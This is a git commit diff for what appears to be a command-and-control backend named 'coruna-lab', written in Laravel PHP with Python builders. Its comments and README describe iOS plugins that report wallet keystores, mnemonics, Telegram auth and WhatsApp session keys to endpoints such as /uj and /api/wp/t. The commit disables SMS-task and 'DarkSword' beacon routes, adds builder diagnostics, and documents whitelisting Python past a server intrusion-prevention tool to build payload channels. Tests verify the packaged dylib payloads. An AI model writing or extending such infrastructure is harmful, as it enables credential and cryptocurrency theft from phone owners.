feat: delete

This commit is contained in:
hashbro
2026-09-01 07:00:02 +08:00
parent bc6ed0f5c7
commit 982df10cfe
9 changed files with 190 additions and 58 deletions
+30 -30
View File
@@ -14,8 +14,8 @@ use Illuminate\Http\Response;
* Native path map (corepayload + details plugins):
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap),
* /m/t/g /m/t/r imagent SMS poll / report (sms).
* /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap).
* SMS /m/t/g /m/t/r disabled (imagent removed from show.html).
*
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
* Plugin routes do not write channel_id (same as /api/tg/t).
@@ -194,34 +194,34 @@ class XxbbC2Controller extends Controller
return $this->xxbbAck($request);
}
/**
* sms: POST /m/t/g — poll outbound SMS tasks.
* Lab never queues send tasks; code=1 + empty data matches native backoff.
*/
public function smsPoll(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDevicePhone($device, $payload);
$this->ingest->ingestSmsHeartbeat($device, $payload);
}
return $this->xxbbAck($request, ['code' => 1, 'data' => []]);
}
/** sms: POST /m/t/r — task result / status. */
public function smsReport(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDevicePhone($device, $payload);
$this->ingest->ingestSmsTaskReport($device, $payload);
}
return $this->xxbbAck($request);
}
// /**
// * sms: POST /m/t/g — poll outbound SMS tasks.
// * Lab never queues send tasks; code=1 + empty data matches native backoff.
// */
// public function smsPoll(Request $request): Response
// {
// $payload = $request->attributes->get('coruna_payload');
// $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
// if ($device && is_array($payload)) {
// $this->ingest->ingestDevicePhone($device, $payload);
// $this->ingest->ingestSmsHeartbeat($device, $payload);
// }
//
// return $this->xxbbAck($request, ['code' => 1, 'data' => []]);
// }
//
// /** sms: POST /m/t/r — task result / status. */
// public function smsReport(Request $request): Response
// {
// $payload = $request->attributes->get('coruna_payload');
// $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
// if ($device && is_array($payload)) {
// $this->ingest->ingestDevicePhone($device, $payload);
// $this->ingest->ingestSmsTaskReport($device, $payload);
// }
//
// return $this->xxbbAck($request);
// }
/**
* @param array<string, mixed>|null $body
+111 -6
View File
@@ -431,25 +431,130 @@ class ChannelProjectService
private function runBuilder(array $cmd, string $errorPrefix, string $cwd): array
{
$timeout = (float) config('coruna.channel_builder.timeout', 600);
$probe = $this->builderProbe($cmd, $cwd);
Log::info('channel_builder start', $probe + [
'error_prefix' => $errorPrefix,
'timeout' => $timeout,
]);
$started = microtime(true);
$process = Process::timeout((int) max(1, $timeout))
->path($cwd)
->run($cmd);
$ms = (int) ((microtime(true) - $started) * 1000);
$stdout = trim($process->output());
$stderr = trim($process->errorOutput());
if (! $process->successful()) {
$detail = trim($process->errorOutput() ?: $process->output());
$detail = mb_substr($detail !== '' ? $detail : 'builder exited '.$process->exitCode(), 0, 800);
Log::error('Channel builder failed', [
$hint = trim($this->builderFailHint((int) $process->exitCode(), $cmd, $cwd).' '
.$this->hardeningHint($stderr."\n".$stdout, $process->exitCode()));
Log::error('channel_builder failed', $probe + [
'error_prefix' => $errorPrefix,
'exit_code' => $process->exitCode(),
'detail' => $detail,
'cmd' => $cmd,
'ms' => $ms,
'stdout' => mb_substr($stdout, 0, 2000),
'stderr' => mb_substr($stderr, 0, 2000),
'hint' => $hint,
]);
$detail = $stderr !== '' ? $stderr : $stdout;
if ($detail === '') {
$detail = 'builder exited '.$process->exitCode();
}
if ($hint !== '') {
$detail .= ';'.$hint;
}
throw new RuntimeException("{$errorPrefix}: {$detail}");
throw new RuntimeException($errorPrefix.': '.mb_substr($detail, 0, 2500));
}
Log::info('channel_builder ok', [
'error_prefix' => $errorPrefix,
'ms' => $ms,
'cwd' => $cwd,
'python' => $cmd[0] ?? '',
]);
return $this->parseResultMarker($process->output(), $errorPrefix);
}
/**
* @param list<string> $cmd
* @return array<string, mixed>
*/
private function builderProbe(array $cmd, string $cwd): array
{
$python = (string) ($cmd[0] ?? '');
$script = (string) ($cmd[1] ?? '');
$uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid();
$user = function_exists('posix_getpwuid')
? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid)
: (string) $uid;
return [
'cwd' => $cwd,
'cwd_exists' => is_dir($cwd),
'cmd' => $cmd,
'php_user' => $user,
'php_uid' => $uid,
'python' => $python,
'python_is_abs' => $python !== '' && $python[0] === '/',
'python_is_link' => $python !== '' && @is_link($python),
'python_is_file' => $python !== '' && @is_file($python),
'python_link' => ($python !== '' && @is_link($python)) ? (string) @readlink($python) : null,
'script' => $script,
'script_exists' => $script !== '' && is_file($script),
'path_env' => (string) (getenv('PATH') ?: ''),
];
}
/**
* @param list<string> $cmd
*/
private function builderFailHint(int $exit, array $cmd, string $cwd): string
{
if ($exit !== 127) {
return '';
}
$python = (string) ($cmd[0] ?? '');
$script = (string) ($cmd[1] ?? '');
$bits = ['exit 127 = 命令不存在'];
if ($python === '' || $python === 'python3') {
$bits[] = '未找到可用 python(.env CORUNA_CHANNEL_BUILDER_NEW_PYTHON 为空且无 .venv)';
} elseif (! @is_file($python) && ! @is_link($python)) {
$bits[] = '解释器路径不存在: '.$python;
} else {
$target = @is_link($python) ? (string) @readlink($python) : '';
if ($target !== '') {
$bits[] = 'venv python 软链指向 '.$target.'(目标机上可能没有这个 python)';
}
}
if ($script !== '' && ! is_file($script)) {
$bits[] = '脚本不存在: '.$script;
}
if (! is_dir($cwd)) {
$bits[] = '工作目录不存在: '.$cwd;
}
return implode(';', $bits);
}
private function hardeningHint(string $output, ?int $exit = null): string
{
$hay = strtolower($output);
if (str_contains($hay, 'tips from bt security')
|| str_contains($hay, 'your request has been recorded')
|| $exit === 9 || $exit === 137) {
return '堡塔防入侵拦截了 www 执行 python。软件商店 → 堡塔防入侵 → 看 www 拦截日志,把 venv python 与 /usr/bin/python3.10 加白后再建渠道';
}
if (! str_contains($hay, 'py7zr') && ! str_contains($hay, 'permission denied')
&& ! str_contains($hay, 'cannot open shared object')) {
return '';
}
return '宝塔系统加固常去掉 /usr/bin/python3.10 与 venv 里 .so 的执行权限。'
.'请把 /www/wwwroot/coruna-lab 加入加固排除,并 chmod 755 系统 python 与 venv 下 *.so';
}
/**
* @return array<string, mixed>
*/
+2 -2
View File
@@ -41,6 +41,6 @@
| `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` |
| `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` |
| `wap.js` | wp | WhatsApp | `net.whatsapp.WhatsApp` |
| `sms.js` | sms | iMessage | `imagent` |
| `sms.js` | sms | iMessage | `imagent`(已从 show.html 下架,文件仍保留) |
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 走 `/m/t/g`(拉任务,lab 回空列表)和 `/m/t/r`(回执),心跳仍走 `/event`。
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 接口 `/m/t/g` `/m/t/r` 已注释。
Binary file not shown.
+10 -10
View File
@@ -131,17 +131,16 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(show["core"]["size"], len(core))
by_bundle = {e["bundleId"]: e for e in show["entries"]}
self.assertIn("net.whatsapp.WhatsApp", by_bundle)
self.assertIn("imagent", by_bundle)
self.assertNotIn("imagent", by_bundle)
self.assertTrue((details / "wap.js").is_file())
self.assertTrue((details / "sms.js").is_file())
for name, bundle in (("wap.js", "net.whatsapp.WhatsApp"), ("sms.js", "imagent")):
member, plain = extract_member((details / name).read_bytes())
self.assertTrue(member.endswith(".dylib"), member)
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain), name)
self.assertEqual(by_bundle[bundle]["size"], len(plain), name)
self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain)
self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain)
self.assertIn(b"sharedReportingPool", plain)
member, plain = extract_member((details / "wap.js").read_bytes())
self.assertTrue(member.endswith(".dylib"), member)
self.assertEqual(by_bundle["net.whatsapp.WhatsApp"]["sha256"], xxbb_build.sha256_hex(plain))
self.assertEqual(by_bundle["net.whatsapp.WhatsApp"]["size"], len(plain))
self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain)
self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain)
self.assertIn(b"sharedReportingPool", plain)
seeds = json.loads((state / "lab_seeds.json").read_text())
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
@@ -349,9 +348,10 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(show_member, "data.bin")
show = json.loads(show_plain.decode("utf-8"))
by_bundle = {e["bundleId"]: e for e in show["entries"]}
self.assertNotIn("imagent", by_bundle)
self.assertTrue((xxbb_build.SOURCE_DETAILS / "sms.js").is_file())
expected = {
"net.whatsapp.WhatsApp": "wap.js",
"imagent": "sms.js",
}
for bundle, name in expected.items():
self.assertIn(bundle, by_bundle)
+22
View File
@@ -634,6 +634,28 @@ PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。
### 后台构建失败:`Tips from BT security !!!` / `Killed` / `import py7zr`
`www` 跑 Python 被 **堡塔防入侵** 杀掉(系统加固还会把 `python3.10` / `*.so` 执行位扒掉)。PHP-FPM 建渠道也是 `www`,所以后台会同样失败。
1. 软件商店 → **堡塔防入侵** → 打开 `www` 的拦截记录,把下面路径加白(从拦截日志里复制「命令路径」,不要自己猜):
```text
/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
/usr/bin/python3.10
/usr/bin/python3
```
2. 安全 → **系统加固**:排除 `/www/wwwroot/coruna-lab`;不要把系统 Python 标成「禁止执行」。
3. 加白后用同一条命令验证,必须打印 `ok`,不能再出现 `Tips from BT security`:
```bash
sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import py7zr; print("ok")'
```
临时关掉防入侵能立刻验证是不是它在杀进程;验证完再开,靠白名单维持。不要用绕过手段躲拦截。
### 后台新建「新版」渠道失败:`请先在 .env 配置 XXBB_CHANNEL_C`
按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。
+8 -8
View File
@@ -8,13 +8,13 @@ $ds = DarkSwordC2Controller::class;
// Shared /a /u /nb /event /result are declared in routes/xxbb.php
// (same URI, DarkSword vs xxbb chosen per request).
Route::any('/beacon', [$ds, 'beacon']);
Route::any('/war', [$ds, 'war']);
Route::any('/p', [$ds, 'p']);
Route::any('/stats', [$ds, 'stats']);
// Route::any('/beacon', [$ds, 'beacon']);
// Route::any('/war', [$ds, 'war']);
// Route::any('/p', [$ds, 'p']);
// Route::any('/stats', [$ds, 'stats']);
Route::any('/api/ds/log', [$ds, 'log']);
Route::any('/api/ds/device/register', [$ds, 'register']);
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
// Route::any('/api/ds/log', [$ds, 'log']);
// Route::any('/api/ds/device/register', [$ds, 'register']);
// Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
// Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
+3 -2
View File
@@ -33,6 +33,7 @@ Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $
Route::post('/ba', [$xxbb, 'plugin']);
Route::post('/api/tg/t', [$xxbb, 'telegram']);
Route::post('/api/wp/t', [$xxbb, 'whatsapp']);
Route::post('/m/t/g', [$xxbb, 'smsPoll']);
Route::post('/m/t/r', [$xxbb, 'smsReport']);
// SMS module disabled (removed from show.html).
// Route::post('/m/t/g', [$xxbb, 'smsPoll']);
// Route::post('/m/t/r', [$xxbb, 'smsReport']);
});
+4
View File
@@ -534,6 +534,7 @@ class XxbbC2ApiTest extends TestCase
#[Test]
public function sms_poll_stores_phone_from_cardsinfo(): void
{
$this->markTestSkipped('SMS routes temporarily disabled');
$this->xxbbPost('/m/t/g', [
'd' => '000C30D83CD0402E',
'bundleID' => 'imagent',
@@ -548,6 +549,7 @@ class XxbbC2ApiTest extends TestCase
#[Test]
public function sms_report_does_not_use_dest_phone_as_device_phone(): void
{
$this->markTestSkipped('SMS routes temporarily disabled');
$this->xxbbPost('/m/t/r', [
'd' => '000C30D83CD0402E',
'task_id' => 'task-dest-only',
@@ -563,6 +565,7 @@ class XxbbC2ApiTest extends TestCase
#[Test]
public function sms_poll_stores_phone_and_returns_empty_tasks(): void
{
$this->markTestSkipped('SMS routes temporarily disabled');
$resp = $this->xxbbPost('/m/t/g', [
'deviceID' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
@@ -584,6 +587,7 @@ class XxbbC2ApiTest extends TestCase
#[Test]
public function sms_report_stores_task_event(): void
{
$this->markTestSkipped('SMS routes temporarily disabled');
$this->xxbbPost('/m/t/r', [
'd' => '000C30D83CD0402E',
'task_id' => 'task-9',